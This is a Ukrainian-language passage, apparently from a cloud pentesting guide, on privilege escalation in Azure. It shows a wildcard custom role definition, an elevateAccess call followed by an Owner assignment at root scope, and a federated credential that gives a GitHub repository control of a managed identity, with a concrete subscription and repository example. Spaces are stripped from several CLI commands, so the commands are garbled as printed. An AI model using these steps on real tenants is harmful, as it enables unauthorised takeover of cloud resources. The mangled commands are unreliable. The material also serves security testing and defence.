Цей дозвіл дозволяє призначати ролі принципалам у межах певного обсягу, що дозволяє зловмиснику підвищити привілеї, призначивши собі більш привілейовану роль:
Цей дозвіл дозволяє змінювати дозволи, надані ролі, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
Створіть файл role.json з наступним вмістом:
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Тоді оновіть дозволи ролі з попереднім визначенням, викликавши:
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Ці дозволи дозволяють підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
Я вважаю, що користувач повинен бути глобальним адміністратором в Entra ID, щоб виклик підвищення працював.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє отримувати доступ до будь-якої визначеної користувачем керованої ідентичності.
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'